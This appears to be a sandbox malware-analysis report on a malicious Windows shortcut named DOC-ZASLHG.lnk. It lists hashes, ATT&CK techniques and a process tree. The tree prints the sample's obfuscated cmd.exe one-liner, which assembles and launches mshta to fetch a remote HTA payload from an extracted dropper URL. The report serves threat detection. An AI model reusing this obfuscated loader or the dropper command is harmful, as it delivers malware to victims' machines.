3e694cf0640df6e7460ea80a5991dc012814ff834ef0c438a24336361f27f99b

Analysis

max time kernel
148s
max time network
115s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-ZASLHG.lnk
Size 2KB
Sample260803-qfkafaaa54
SHA256 3e694cf0640df6e7460ea80a5991dc012814ff834ef0c438a24336361f27f99b
MD5 57dc2ae365757b29488312464e83ea34
SHA1 671d927f0bd67e3592d47aadd40f7e043c92df08
SHA512 ce4dd57ad84304eb7b568e8343d166494a2ed27538bbce1e786fa6bfd7757e8b2305f38e2afccba81d498809e519d79be4e9ab6cd0f98fa2f559e1e6c0823f3b
TLSH
T1BE4148803AE905E5F3BB9E72DDBB2790897BBD51AD70C19D0440820D0827B10D977B6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4456	cmd.exe
4540	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 4540	4456	cmd.exe	90
PID 4540 wrote to memory of 2768	4540	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-ZASLHG.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4456
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set OLYn=datenejyiwwhdat&set Zdbrc=cachevhxtppwakrqzgmpbkbcache&set eqfmm=awszy&&set kSK=2tarihl&&set GSCR=c58tgt4&set GrnxC=bakxivhdabkesnxsbak&set iO=logrbkmunltttutychylog&set dXiu=oldhmpmgmold&set pyB=8ma&&set cAaSf=pshtajxr&set GfV=datijejeawkdat&set Tf=netuhgisluhznet&&set rVQJ=h@ttps@://bo@-@p@dffi@ll@er.@l@at/@h@/e@s@[email protected]@h@p?r=360761@F157@94&&start /b !pyB:~1,1!!cAaSf:~1,4! !rVQJ:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4540
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:2768

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads